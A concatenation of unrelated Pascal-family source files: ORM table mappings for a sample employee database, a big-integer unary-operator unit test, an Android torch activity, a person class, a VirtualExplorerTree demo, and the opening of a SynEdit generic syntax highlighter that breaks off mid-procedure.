RegisterField(FJobCountry, 'JOB_COUNTRY').InPrimaryKey := True;
RegisterField(FJobTitle, 'JOB_TITLE');
RegisterField(FMinSalary, 'MIN_SALARY');
RegisterField(FMaxSalary, 'MAX_SALARY');
RegisterField(FJobRequirement, 'JOB_REQUIREMENT');
RegisterField(FLanguageReq, 'LANGUAGE_REQ');
end;
function TJobTable.GetUnique: TJobTable;
begin
Result := inherited InternalGetUnique as TJobTable;
end;
{ TDepartmentTable }
constructor TDepartmentTable.Create;
begin
inherited;
inherited TableName := 'DEPARTMENT';
RegisterField(FDeptNo, 'DEPT_NO').InPrimaryKey := True;
RegisterField(FDepartment, 'DEPARTMENT');
RegisterField(FHeadDept, 'HEAD_DEPT');
RegisterField(FMngrNo, 'MNGR_NO');
RegisterField(FBudget, 'BUDGET');
RegisterField(FLocation, 'LOCATION');
RegisterField(FPhoneNo, 'PHONE_NO');
end;
function TDepartmentTable.GetUnique: TDepartmentTable;
begin
Result := inherited InternalGetUnique as TDepartmentTable;
end;
{ TEmployeeTable }
constructor TEmployeeTable.Create;
begin
inherited;
inherited TableName := 'EMPLOYEE';
RegisterField(FEmpNo, 'EMP_NO').InPrimaryKey := True;
RegisterField(FFirstName, 'FIRST_NAME');
RegisterField(FLastName, 'LAST_NAME');
RegisterField(FPhoneExt, 'PHONE_EXT');
RegisterField(FHireDate, 'HIRE_DATE');
RegisterField(FDeptNo, 'DEPT_NO');
RegisterField(FJobCode, 'JOB_CODE');
RegisterField(FJobGrade, 'JOB_GRADE');
RegisterField(FJobCountry, 'JOB_COUNTRY');
RegisterField(FSalary, 'SALARY');
RegisterField(FFullName, 'FULL_NAME');
end;
function TEmployeeTable.GetUnique: TEmployeeTable;
begin
Result := inherited InternalGetUnique as TEmployeeTable;
end;
{ TPhoneListTable }
constructor TPhoneListTable.Create;
begin
inherited;
inherited TableName := 'PHONE_LIST';
RegisterField(FEmpNo, 'EMP_NO');
RegisterField(FFirstName, 'FIRST_NAME');
RegisterField(FLastName, 'LAST_NAME');
RegisterField(FPhoneExt, 'PHONE_EXT');
RegisterField(FLocation, 'LOCATION');
RegisterField(FPhoneNo, 'PHONE_NO');
end;
function TPhoneListTable.GetUnique: TPhoneListTable;
begin
Result := inherited InternalGetUnique as TPhoneListTable;
end;
{ TProjectTable }
constructor TProjectTable.Create;
begin
inherited;
inherited TableName := 'PROJECT';
RegisterField(FProjId, 'PROJ_ID').InPrimaryKey := True;
RegisterField(FProjName, 'PROJ_NAME');
RegisterField(FProjDesc, 'PROJ_DESC');
RegisterField(FTeamLeader, 'TEAM_LEADER');
RegisterField(FProduct, 'PRODUCT');
end;
function TProjectTable.GetUnique: TProjectTable;
begin
Result := inherited InternalGetUnique as TProjectTable;
end;
{ TEmployeeProjectTable }
constructor TEmployeeProjectTable.Create;
begin
inherited;
inherited TableName := 'EMPLOYEE_PROJECT';
RegisterField(FEmpNo, 'EMP_NO').InPrimaryKey := True;
RegisterField(FProjId, 'PROJ_ID').InPrimaryKey := True;
end;
function TEmployeeProjectTable.GetUnique: TEmployeeProjectTable;
begin
Result := inherited InternalGetUnique as TEmployeeProjectTable;
end;
{ TProjDeptBudgetTable }
constructor TProjDeptBudgetTable.Create;
begin
inherited;
inherited TableName := 'PROJ_DEPT_BUDGET';
RegisterField(FFiscalYear, 'FISCAL_YEAR').InPrimaryKey := True;
RegisterField(FProjId, 'PROJ_ID').InPrimaryKey := True;
RegisterField(FDeptNo, 'DEPT_NO').InPrimaryKey := True;
RegisterField(FQuartHeadCnt, 'QUART_HEAD_CNT');
RegisterField(FProjectedBudget, 'PROJECTED_BUDGET');
end;
function TProjDeptBudgetTable.GetUnique: TProjDeptBudgetTable;
begin
Result := inherited InternalGetUnique as TProjDeptBudgetTable;
end;
{ TSalaryHistoryTable }
constructor TSalaryHistoryTable.Create;
begin
inherited;
inherited TableName := 'SALARY_HISTORY';
RegisterField(FEmpNo, 'EMP_NO').InPrimaryKey := True;
RegisterField(FChangeDate, 'CHANGE_DATE').InPrimaryKey := True;
RegisterField(FUpdaterId, 'UPDATER_ID').InPrimaryKey := True;
RegisterField(FOldSalary, 'OLD_SALARY');
RegisterField(FPercentChange, 'PERCENT_CHANGE');
RegisterField(FNewSalary, 'NEW_SALARY');
end;
function TSalaryHistoryTable.GetUnique: TSalaryHistoryTable;
begin
Result := inherited InternalGetUnique as TSalaryHistoryTable;
end;
{ TCustomerTable }
constructor TCustomerTable.Create;
begin
inherited;
inherited TableName := 'CUSTOMER';
RegisterField(FCustNo, 'CUST_NO').InPrimaryKey := True;
RegisterField(FCustomer, 'CUSTOMER');
RegisterField(FContactFirst, 'CONTACT_FIRST');
RegisterField(FContactLast, 'CONTACT_LAST');
RegisterField(FPhoneNo, 'PHONE_NO');
RegisterField(FAddressLine1, 'ADDRESS_LINE1');
RegisterField(FAddressLine2, 'ADDRESS_LINE2');
RegisterField(FCity, 'CITY');
RegisterField(FStateProvince, 'STATE_PROVINCE');
RegisterField(FCountry, 'COUNTRY');
RegisterField(FPostalCode, 'POSTAL_CODE');
RegisterField(FOnHold, 'ON_HOLD');
end;
function TCustomerTable.GetUnique: TCustomerTable;
begin
Result := inherited InternalGetUnique as TCustomerTable;
end;
{ TSalesTable }
constructor TSalesTable.Create;
begin
inherited;
inherited TableName := 'SALES';
RegisterField(FPoNumber, 'PO_NUMBER').InPrimaryKey := True;
RegisterField(FCustNo, 'CUST_NO');
RegisterField(FSalesRep, 'SALES_REP');
RegisterField(FOrderStatus, 'ORDER_STATUS');
RegisterField(FOrderDate, 'ORDER_DATE');
RegisterField(FShipDate, 'SHIP_DATE');
RegisterField(FDateNeeded, 'DATE_NEEDED');
RegisterField(FPaid, 'PAID');
RegisterField(FQtyOrdered, 'QTY_ORDERED');
RegisterField(FTotalValue, 'TOTAL_VALUE');
RegisterField(FDiscount, 'DISCOUNT');
RegisterField(FItemType, 'ITEM_TYPE');
RegisterField(FAged, 'AGED');
end;
function TSalesTable.GetUnique: TSalesTable;
begin
Result := inherited InternalGetUnique as TSalesTable;
end;
{ TGetEmpProjSelectableStoredProcedure }
constructor TGetEmpProjSelectableStoredProcedure.Create(AEmpNo: TSqlSmallInt);
begin
inherited Create;
inherited ProcedureName := 'GET_EMP_PROJ';
RegisterField(FProjId, 'PROJ_ID');
inherited RegisterInputParams([AEmpNo]);
end;
{ TAddEmpProjSelectableStoredProcedure }
constructor TAddEmpProjSelectableStoredProcedure.Create(AEmpNo: TSqlSmallInt; AProjId: TSqlString);
begin
inherited Create;
inherited ProcedureName := 'ADD_EMP_PROJ';
inherited RegisterInputParams([AEmpNo, AProjId]);
end;
{ TSubTotBudgetSelectableStoredProcedure }
constructor TSubTotBudgetSelectableStoredProcedure.Create(AHeadDept: TSqlString);
begin
inherited Create;
inherited ProcedureName := 'SUB_TOT_BUDGET';
RegisterField(FTotBudget, 'TOT_BUDGET');
RegisterField(FAvgBudget, 'AVG_BUDGET');
RegisterField(FMinBudget, 'MIN_BUDGET');
RegisterField(FMaxBudget, 'MAX_BUDGET');
inherited RegisterInputParams([AHeadDept]);
end;
{ TDeleteEmployeeSelectableStoredProcedure }
constructor TDeleteEmployeeSelectableStoredProcedure.Create(AEmpNum: TSqlInteger);
begin
inherited Create;
inherited ProcedureName := 'DELETE_EMPLOYEE';
inherited RegisterInputParams([AEmpNum]);
end;
{ TDeptBudgetSelectableStoredProcedure }
constructor TDeptBudgetSelectableStoredProcedure.Create(ADno: TSqlString);
begin
inherited Create;
inherited ProcedureName := 'DEPT_BUDGET';
RegisterField(FTot, 'TOT');
inherited RegisterInputParams([ADno]);
end;
{ TOrgChartSelectableStoredProcedure }
constructor TOrgChartSelectableStoredProcedure.Create();
begin
inherited Create;
inherited ProcedureName := 'ORG_CHART';
RegisterField(FHeadDept, 'HEAD_DEPT');
RegisterField(FDepartment, 'DEPARTMENT');
RegisterField(FMngrName, 'MNGR_NAME');
RegisterField(FTitle, 'TITLE');
RegisterField(FEmpCnt, 'EMP_CNT');
inherited RegisterInputParams([]);
end;
{ TMailLabelSelectableStoredProcedure }
constructor TMailLabelSelectableStoredProcedure.Create(ACustNo: TSqlInteger);
begin
inherited Create;
inherited ProcedureName := 'MAIL_LABEL';
RegisterField(FLine1, 'LINE1');
RegisterField(FLine2, 'LINE2');
RegisterField(FLine3, 'LINE3');
RegisterField(FLine4, 'LINE4');
RegisterField(FLine5, 'LINE5');
RegisterField(FLine6, 'LINE6');
inherited RegisterInputParams([ACustNo]);
end;
{ TShipOrderSelectableStoredProcedure }
constructor TShipOrderSelectableStoredProcedure.Create(APoNum: TSqlString);
begin
inherited Create;
inherited ProcedureName := 'SHIP_ORDER';
inherited RegisterInputParams([APoNum]);
end;
{ TShowLangsSelectableStoredProcedure }
constructor TShowLangsSelectableStoredProcedure.Create(ACode: TSqlString; AGrade: TSqlSmallInt; ACty: TSqlString);
begin
inherited Create;
inherited ProcedureName := 'SHOW_LANGS';
RegisterField(FLanguages, 'LANGUAGES');
inherited RegisterInputParams([ACode, AGrade, ACty]);
end;
{ TAllLangsSelectableStoredProcedure }
constructor TAllLangsSelectableStoredProcedure.Create();
begin
inherited Create;
inherited ProcedureName := 'ALL_LANGS';
RegisterField(FCode, 'CODE');
RegisterField(FGrade, 'GRADE');
RegisterField(FCountry, 'COUNTRY');
RegisterField(FLang, 'LANG');
inherited RegisterInputParams([]);
end;
end.
|
unit UnaryOpTest;
{$mode objfpc}{$H+}
interface
uses
fpcunit,
testregistry,
uIntX;
type
{ TTestUnaryOp }
TTestUnaryOp = class(TTestCase)
published
procedure Plus();
procedure Minus();
procedure ZeroPositive();
procedure ZeroNegative();
procedure Increment();
procedure Decrement();
end;
implementation
procedure TTestUnaryOp.Plus();
var
IntX: TIntX;
begin
IntX := 77;
AssertTrue(IntX = +IntX);
end;
procedure TTestUnaryOp.Minus();
var
IntX: TIntX;
begin
IntX := 77;
AssertTrue(-IntX = -77);
end;
procedure TTestUnaryOp.ZeroPositive();
var
IntX: TIntX;
begin
IntX := 0;
AssertTrue(IntX = +IntX);
end;
procedure TTestUnaryOp.ZeroNegative();
var
IntX: TIntX;
begin
IntX := 0;
AssertTrue(IntX = -IntX);
end;
procedure TTestUnaryOp.Increment();
var
IntX: TIntX;
begin
IntX := 77;
AssertTrue(IntX = 77);
Inc(IntX);
Inc(IntX);
AssertTrue(IntX = 79);
end;
procedure TTestUnaryOp.Decrement();
var
IntX: TIntX;
begin
IntX := 77;
AssertTrue(IntX = 77);
Dec(IntX);
Dec(IntX);
AssertTrue(IntX = 75);
end;
initialization
RegisterTest(TTestUnaryOp);
end.
|
unit UPricesStep;
interface
uses Ibase, pFibDatabase, Forms, Dialogs;
type PRICE_INFO=packed record
{Идентификаторы}
ID_FACULTY : Int64;
ID_SPECIALITY : Int64;
ID_GRAGDAN : Int64;
ID_FORM_TEATCH: Int64;
ID_CATE_TEATCH: Int64;
ID_CURS : Int64;
{Данные}
C_FACULTY : Integer;
C_SPECIALITY : Integer;
C_GRAGDAN : Integer;
C_FORM_TEATCH : Integer;
C_CATE_TEATCH : Integer;
C_CURS : Integer;
T_FACULTY : String;
T_SPECIALITY : String;
T_GRAGDAN : String;
T_FORM_TEATCH : String;
T_CATE_TEATCH : String;
T_CURS : String;
{DB_Conf}
DB : TpFibDatabase;
RTransaction : TpFibTransaction;
WTransaction : TpFibTransaction;
end;
PPRICE_INFO=^PRICE_INFO;
function Step3_GetFaculty(VPRICE_INFO:PPRICE_INFO):Integer;
function Step4_GetSpeciality(VPRICE_INFO:PPRICE_INFO):Integer;
function Step5_GetGragdanstvo(VPRICE_INFO:PPRICE_INFO):Integer;
function Step6_GetFormTeatch(VPRICE_INFO:PPRICE_INFO):Integer;
function Step7_GetKatTeach(VPRICE_INFO:PPRICE_INFO):Integer;
function Step8_GetCurs(VPRICE_INFO:PPRICE_INFO):Integer;
implementation
uses UparamsReestr;
function Step3_GetFaculty(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
ShowMessage('GetFaculty');
Result:=1;
end;
function Step4_GetSpeciality(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
ShowMessage('GetSpeciality');
Result:=1;
end;
function Step5_GetGragdanstvo(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
ShowMessage('GetGragdanstvo');
Result:=1;
end;
function Step6_GetFormTeatch(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
ShowMessage('GetFormTeatch');
Result:=1;
end;
function Step7_GetKatTeach(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
ShowMessage('GetKatTeach');
Result:=1;
end;
function Step8_GetCurs(VPRICE_INFO:PPRICE_INFO):Integer;
begin
//Работа с академическим годами
Result:=1;
end;
end.
|
namespace org.me.torch;
interface
uses
java.util,
android.os,
android.app,
android.view,
android.widget,
android.hardware;
type
TorchActivity = public class(Activity)
private
const SWITCH_OFF_TORCH_ID = 1;
var mPowerManager: PowerManager;
var mWakeLock: PowerManager.WakeLock;
method MenuItemSelected(item: MenuItem): Boolean;
public
method onCreate(bundle: Bundle); override;
method onCreateOptionsMenu(menu: Menu): Boolean; override;
method onOptionsItemSelected(item: MenuItem): Boolean; override;
method onCreateContextMenu(menu: ContextMenu; v: View; menuInfo: ContextMenu.ContextMenuInfo); override;
method onContextItemSelected(item: MenuItem): Boolean; override;
method onResume; override;
method onPause; override;
end;
implementation
method TorchActivity.onCreate(bundle: Bundle);
begin
inherited;
var mainLayout := new LinearLayout(Self);
mainLayout.LayoutParams := new LinearLayout.LayoutParams(
ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.FILL_PARENT);
//The torch is white
mainLayout.BackgroundColor := $FFFFFFFF as Integer;
//Hide the regular activity title
requestWindowFeature(Window.FEATURE_NO_TITLE);
//Hide the OS status bar
Window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN);
//ensure this activity has full brightness
Window.Attributes.screenBrightness := WindowManager.LayoutParams.BRIGHTNESS_OVERRIDE_FULL;
// Get an instance of the PowerManager
mPowerManager := PowerManager(SystemService[POWER_SERVICE]);
// Create a bright wake lock. Requires WAKE_LOCK permission - see Android manifest file
mWakeLock := mPowerManager.newWakeLock(PowerManager.SCREEN_BRIGHT_WAKE_LOCK, &Class.Name);
//Show the view
ContentView := mainLayout;
registerForContextMenu(mainLayout);
end;
method TorchActivity.onResume;
begin
inherited;
// Acquire wake lock to keep screen on
mWakeLock.acquire;
end;
method TorchActivity.onPause;
begin
inherited;
// Release wake lock to allow screen to turn off, as per normal
mWakeLock.release;
end;
method TorchActivity.onCreateOptionsMenu(menu: Menu): Boolean;
begin
var item := menu.add(0, SWITCH_OFF_TORCH_ID, 0, R.string.torchMenuItem_Text);
//Options menu items support icons
item.Icon := Android.R.drawable.ic_menu_close_clear_cancel;
Result := True;
end;
method TorchActivity.onOptionsItemSelected(item: MenuItem): Boolean;
begin
exit MenuItemSelected(item)
end;
method TorchActivity.onCreateContextMenu(menu: ContextMenu; v: View; menuInfo: ContextMenu.ContextMenuInfo);
begin
inherited;
menu.add(0, SWITCH_OFF_TORCH_ID, 0, R.string.torchMenuItem_Text);
end;
method TorchActivity.onContextItemSelected(item: MenuItem): Boolean;
begin
exit MenuItemSelected(item)
end;
method TorchActivity.MenuItemSelected(item: MenuItem): Boolean;
begin
if item.ItemId = SWITCH_OFF_TORCH_ID then
begin
finish;
exit True
end;
exit False;
end;
end.
|
unit uPessoa;
interface
uses uEndereco;
Type
TPessoa = class
private
Femail: string;
Fcpf: String;
Fidentidade: String;
Fnome: String;
FEndereco: TEndereco;
Ftelefone: string;
procedure Setcpf(const Value: String);
procedure Setemail(const Value: string);
procedure SetEndereco(const Value: TEndereco);
procedure Setidentidade(const Value: String);
procedure Setnome(const Value: String);
procedure Settelefone(const Value: string);
public
property nome: String read Fnome write Setnome;
property identidade: String read Fidentidade write Setidentidade;
property cpf: String read Fcpf write Setcpf;
property telefone: string read Ftelefone write Settelefone;
property email: string read Femail write Setemail;
property Endereco: TEndereco read FEndereco write SetEndereco;
end;
implementation
{ TPessoa }
procedure TPessoa.Setcpf(const Value: String);
begin
Fcpf := Value;
end;
procedure TPessoa.Setemail(const Value: string);
begin
Femail := Value;
end;
procedure TPessoa.SetEndereco(const Value: TEndereco);
begin
FEndereco := Value;
end;
procedure TPessoa.Setidentidade(const Value: String);
begin
Fidentidade := Value;
end;
procedure TPessoa.Setnome(const Value: String);
begin
Fnome := Value;
end;
procedure TPessoa.Settelefone(const Value: string);
begin
Ftelefone := Value;
end;
end.
|
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, VirtualTrees, VirtualExplorerTree, VirtualShellUtilities;
type
TForm1 = class(TForm)
VET: TVirtualExplorerTree;
Button1: TButton;
Edit1: TEdit;
Label1: TLabel;
Button2: TButton;
Label2: TLabel;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
// User Defined Per node Storage override this and use the Storage class in VET or the Global
TMyUserDataStorage = class(TUserDataStorage)
private
FUserString: string;
public
//You should override these 3 methods in your application:
procedure LoadFromStream(S: TStream; Version: integer = StreamStorageVer; ReadVerFromStream: Boolean = False); override;
procedure SaveToStream(S: TStream; Version: integer = StreamStorageVer; WriteVerToStream: Boolean = False); override;
procedure Assign(Source: TPersistent); override;
property UserString: string read FUserString write FUserString;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{ TMyUserDataStorage }
procedure TMyUserDataStorage.Assign(Source: TPersistent);
begin
if Source is TMyUserDataStorage then
UserString := TMyUserDataStorage(Source).UserString;
inherited;
end;
procedure TMyUserDataStorage.LoadFromStream(S: TStream; Version: integer;
ReadVerFromStream: Boolean);
var
Count: Integer;
begin
inherited;
S.read(Count, SizeOf(Count));
SetLength(FUserString, Count);
S.read(PChar(FUserString)^, Count)
end;
procedure TMyUserDataStorage.SaveToStream(S: TStream; Version: integer;
WriteVerToStream: Boolean);
var
Count: Integer;
begin
inherited;
Count := Length(FUserString);
S.Write(Count, SizeOf(Count));
S.Write(PChar(FUserString)^, Count)
end;
procedure TForm1.Button1Click(Sender: TObject);
var
NS: TNamespace;
SNode: TNodeSTorage;
begin
if VET.ValidateNamespace(VET.GetFirstSelected, NS) then
begin
SNode := VET.Storage.Store(NS.AbsolutePIDL, [stUser]);
if Assigned(SNode) then
begin
SNode.Storage.UserData := TMyUserDataStorage.Create;
TMyUserDataStorage(SNode.Storage.UserData).UserString := Edit1.Text
end
end
end;
procedure TForm1.Button2Click(Sender: TObject);
var
NS: TNamespace;
SNode: TNodeSTorage;
begin
if VET.ValidateNamespace(VET.GetFirstSelected, NS) then
if VET.Storage.Find(NS.AbsolutePIDL, [stUser], SNode) then
Label2.Caption := TMyUserDataStorage( SNode.Storage.UserData).UserString
else
ShowMessage('No User Data has been assiged to this node')
end;
procedure TForm1.Button3Click(Sender: TObject);
var
NS: TNamespace;
SNode: TNodeSTorage;
begin
if VET.ValidateNamespace(VET.GetFirstSelected, NS) then
if VET.Storage.Find(NS.AbsolutePIDL, [stUser], SNode) then
begin
SNode.Storage.UserData.Free;
SNode.Storage.UserData := nil;
VET.Storage.Delete(NS.AbsolutePIDL, [stUser]);
end else
ShowMessage('No User Data has been assiged to this node')
end;
end.
|
unit SynHighlighterMyGeneral;
{$I SynEdit.inc}
interface
uses
SysUtils, Windows, Messages, Classes, Controls, Graphics,
SynEditTypes, SynEditHighlighter, JclStrings;
type
TtkTokenKind = (tkComment, tkIdentifier, tkKey1, tkKey2, tkKey3, tkKey4, tkKey5, tkNull, tkNumber,
tkPreprocessor, tkSpace, tkString, tkSymbol, tkUnknown); // DJLP 2000-06-18
TRangeState = (rsANil, rsBlockComment, rsMultilineString, rsUnKnown);
TProcTableProc = procedure of object;
type
TCodeBrowserSettings = class
private
fGroupBy: integer;
fGroupCaption: string;
fItemCaption: string;
fRegExp: string;
fModified: boolean;
public
procedure LoadDefaults; virtual;
procedure Assign(Source: TCodeBrowserSettings); virtual;
property RegExp: string read fRegExp write fRegExp;
property GroupBy: integer read fGroupBy write fGroupBy;
property GroupCaption: string read fGroupCaption write fGroupCaption;
property ItemCaption: string read fItemCaption write fItemCaption;
property Modified: boolean read fModified write fModified;
end;
TSynMyGeneralSyn = class(TSynCustomHighlighter)
private
FLanguageName :string;
fRange: TRangeState;
fLine: PChar;
fProcTable: array[#0..#255] of TProcTableProc;
Run: LongInt;
fTokenPos: Integer;
fTokenID: TtkTokenKind;
fLineNumber : Integer;
fCommentAttri: TSynHighlighterAttributes;
fIdentifierAttri: TSynHighlighterAttributes;
fKeyAttri1: TSynHighlighterAttributes;
fKeyAttri2: TSynHighlighterAttributes;
fKeyAttri3: TSynHighlighterAttributes;
fNumberAttri: TSynHighlighterAttributes;
fPreprocessorAttri: TSynHighlighterAttributes; // DJLP 2000-06-18
fSpaceAttri: TSynHighlighterAttributes;
fStringAttri: TSynHighlighterAttributes;
fSymbolAttri: TSynHighlighterAttributes;
fKeyWords1: TStrings;
fKeyWords2: TStrings;
fKeyWords3: TStrings;
fIdentChars: TSynIdentChars;
fNumConstChars: TSynIdentChars;
fNumBegChars: TSynIdentChars;
fDetectPreprocessor: boolean; // DJLP 2000-06-18
FLineComment :string;
FCommentBeg :string;
FCommentEnd :string;
FLineCommentList :TStringList;
FCommentBegList :TStringList;
FCommentEndList :TStringList;
FStrBegChars :string;
FStrEndChars :string;
FMultilineStrings :boolean;
FNextStringEndChar :char;
Identifiers: array[#0..#255] of ByteBool;
fKeyWords5: TStrings;
fKeyWords4: TStrings;
fKeyAttri5: TSynHighlighterAttributes;
fKeyAttri4: TSynHighlighterAttributes;
fCodeBrowserSettings: TCodeBrowserSettings;
procedure AsciiCharProc;
procedure CRProc;
procedure IdentProc;
function MatchComment(CommentList: TStringList; var CommentStr: string):boolean;
procedure LineCommentProc;
procedure CommentBegProc;
procedure CommentEndProc;
procedure StringBegProc;
procedure StringEndProc;
procedure LFProc;
procedure NullProc;
procedure NumberProc;
procedure SpaceProc;
procedure UnknownProc;
function IsInKeyWordList(aToken: String; Keywords: TStrings): Boolean;
function IsKeyWord1(aToken: String): Boolean;
function IsKeyWord2(aToken: String): Boolean;
function IsKeyWord3(aToken: String): Boolean;
function IsKeyWord4(aToken: String): Boolean;
function IsKeyWord5(aToken: String): Boolean;
procedure SetKeyWords1(const Value: TStrings);
procedure SetKeyWords2(const Value: TStrings);
procedure SetKeyWords3(const Value: TStrings);
function GetIdentifierChars: string;
function GetNumConstChars: string;
function GetNumBegChars: string;
procedure SetIdentifierChars(const Value: string);
procedure SetNumConstChars(const Value: string);
procedure SetNumBegChars(const Value: string);
procedure SetDetectPreprocessor(Value: boolean); // DJLP 2000-06-18
procedure SetLanguageName(Value:string);
procedure MakeIdentTable;
procedure SetKeyWords4(const Value: TStrings);
procedure SetKeyWords5(const Value: TStrings);
procedure PrepareKeywordList(const Value: TStrings);
protected
function GetIdentChars: TSynIdentChars; override;
public
{$IFNDEF SYN_CPPB_1} class {$ENDIF} //mh 2000-07-14
function GetLanguageName: string; override;
public
CurrLineHighlighted :boolean;
OverrideTxtFgColor :boolean;
RightEdgeColorFg :TColor;
RightEdgeColorBg :TColor;
HelpFile :string;
CaseSensitive :boolean;
IdentifierBegChars :string;
SourceFileName :string;
EscapeChar :char;
BlockAutoindent :boolean;
BlockBegStr :string;
BlockEndStr :string;
Description :string;
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function GetDefaultAttribute(Index: integer): TSynHighlighterAttributes;
override;
function GetEol: Boolean; override;
function GetRange: Pointer; override;
function GetTokenID: TtkTokenKind;
procedure SetLine(NewValue: String; LineNumber:Integer); override;
function GetToken: String; override;
function GetTokenAttribute: TSynHighlighterAttributes; override;
function GetTokenKind: integer; override;
function GetTokenPos: Integer; override;
procedure Next; override;
procedure SetRange(Value: Pointer); override;
procedure ResetRange; override;
function SaveToRegistry(RootKey: HKEY; Key: string): boolean; override;
function LoadFromRegistry(RootKey: HKEY; Key: string): boolean; override;
procedure SetCommentStrings(LineComment, CommentBeg, CommentEnd: string);
procedure GetCommentStrings(var LineComment, CommentBeg, CommentEnd: string);
procedure SetStringParams(StrBegChars, StrEndChars:string; MultilineStrings:boolean);
procedure MakeMethodTables;
procedure AssignPropertiesTo(HL:TSynMyGeneralSyn);
published
property LanguageName: string read FLanguageName write SetLanguageName;
property CommentAttri: TSynHighlighterAttributes read fCommentAttri
write fCommentAttri;
property DetectPreprocessor: boolean read fDetectPreprocessor // DJLP 2000-06-18
write SetDetectPreprocessor;
property IdentifierAttri: TSynHighlighterAttributes read fIdentifierAttri
write fIdentifierAttri;
property IdentifierChars: string read GetIdentifierChars
write SetIdentifierChars;
property NumConstChars: string read GetNumConstChars write SetNumConstChars;
property NumBegChars: string read GetNumBegChars write SetNumBegChars;
property KeyAttri1: TSynHighlighterAttributes read fKeyAttri1 write fKeyAttri1;
property KeyAttri2: TSynHighlighterAttributes read fKeyAttri2 write fKeyAttri2;
property KeyAttri3: TSynHighlighterAttributes read fKeyAttri3 write fKeyAttri3;
property KeyAttri4: TSynHighlighterAttributes read fKeyAttri4 write fKeyAttri4;
property KeyAttri5: TSynHighlighterAttributes read fKeyAttri5 write fKeyAttri5;
property KeyWords1: TStrings read fKeyWords1 write SetKeyWords1;
property KeyWords2: TStrings read fKeyWords2 write SetKeyWords2;
property KeyWords3: TStrings read fKeyWords3 write SetKeyWords3;
property KeyWords4: TStrings read fKeyWords4 write SetKeyWords4;
property KeyWords5: TStrings read fKeyWords5 write SetKeyWords5;
property NumberAttri: TSynHighlighterAttributes read fNumberAttri
write fNumberAttri;
property PreprocessorAttri: TSynHighlighterAttributes // DJLP 2000-06-18
read fPreprocessorAttri write fPreprocessorAttri;
property SpaceAttri: TSynHighlighterAttributes read fSpaceAttri
write fSpaceAttri;
property StringAttri: TSynHighlighterAttributes read fStringAttri
write fStringAttri;
property SymbolAttri: TSynHighlighterAttributes read fSymbolAttri
write fSymbolAttri;
property CodeBrowserSettings: TCodeBrowserSettings read fCodeBrowserSettings write fCodeBrowserSettings;
end;
procedure Register;
implementation
uses
SynEditStrConst;
const
COMMENT_LIST_SEPARATOR = ' ';
procedure Register;
begin
RegisterComponents(SYNS_HighlightersPage, [TSynMyGeneralSyn]);
end;
procedure TCodeBrowserSettings.Assign(Source: TCodeBrowserSettings);
begin
fRegExp:=Source.RegExp;
fGroupBy:=Source.GroupBy;
fGroupCaption:=Source.GroupCaption;
fItemCaption:=Source.ItemCaption;
fModified:=Source.Modified;
end;
procedure TCodeBrowserSettings.LoadDefaults;
begin
// virtual holder
end;
procedure TSynMyGeneralSyn.AssignPropertiesTo(HL:TSynMyGeneralSyn);
begin
HL.CurrLineHighlighted:=CurrLineHighlighted;
HL.OverrideTxtFgColor:=OverrideTxtFgColor;
HL.RightEdgeColorFg:=RightEdgeColorFg;
HL.RightEdgeColorBg:=RightEdgeColorBg;
HL.HelpFile:=HelpFile;
HL.CaseSensitive:=CaseSensitive;
HL.IdentifierBegChars:=IdentifierBegChars;
HL.IdentifierChars:=IdentifierChars;
HL.NumConstChars:=NumConstChars;
HL.NumBegChars:=NumBegChars;
HL.DetectPreprocessor:=DetectPreprocessor;
HL.SetCommentStrings(FLineComment, FCommentBeg, FCommentEnd);
HL.SetStringParams(FStrBegChars, FStrEndChars, FMultilineStrings);
HL.EscapeChar:=EscapeChar;
HL.BlockAutoindent:=BlockAutoindent;
HL.BlockBegStr:=BlockBegStr;
HL.BlockEndStr:=BlockEndStr;
if CaseSensitive then begin
HL.Keywords1.Text:=Keywords1.Text;
HL.Keywords2.Text:=Keywords2.Text;
HL.Keywords3.Text:=Keywords3.Text;
HL.Keywords4.Text:=Keywords4.Text;
HL.Keywords5.Text:=Keywords5.Text;
end else begin
HL.Keywords1.Text:=UpperCase(Keywords1.Text);
HL.Keywords2.Text:=UpperCase(Keywords2.Text);
HL.Keywords3.Text:=UpperCase(Keywords3.Text);
HL.Keywords4.Text:=UpperCase(Keywords4.Text);
HL.Keywords5.Text:=UpperCase(Keywords5.Text);
end;
HL.MakeMethodTables;
end;
procedure TSynMyGeneralSyn.MakeIdentTable;
var
I: Char;
begin
for I := #0 to #255 do
Identifiers[I]:=(i in fIdentChars);
end;
function TSynMyGeneralSyn.IsInKeyWordList(aToken: String; Keywords: TStrings): Boolean;
var
i :integer;
Token :string;
begin
Result := FALSE;
if not CaseSensitive then
Token := UpperCase(aToken)
else
Token := aToken;
i:=0;
while (i<Keywords.Count) do begin
if (Keywords[i]=Token) then begin
result:=TRUE;
BREAK;
end;
inc(i);
end;
end;
function TSynMyGeneralSyn.IsKeyWord1(aToken: String): Boolean;
begin
Result:=IsInKeyWordList(aToken, fKeywords1);
end;
function TSynMyGeneralSyn.IsKeyWord2(aToken: String): Boolean;
begin
Result:=IsInKeyWordList(aToken, fKeywords2);
end;
function TSynMyGeneralSyn.IsKeyWord3(aToken: String): Boolean;
begin
Result:=IsInKeyWordList(aToken, fKeywords3);
end;
function TSynMyGeneralSyn.IsKeyWord4(aToken: String): Boolean;
begin
Result:=IsInKeyWordList(aToken, fKeywords4);
end;
function TSynMyGeneralSyn.IsKeyWord5(aToken: String): Boolean;
begin
Result:=IsInKeyWordList(aToken, fKeywords5);
end;
procedure TSynMyGeneralSyn.MakeMethodTables;
var
I: Char;
n: integer;
procedure CommentToProcTable(CommentList: TStringList; proc:TProcTableProc);
var
i: integer;
s: string;
begin
for i:=0 to CommentList.Count-1 do begin
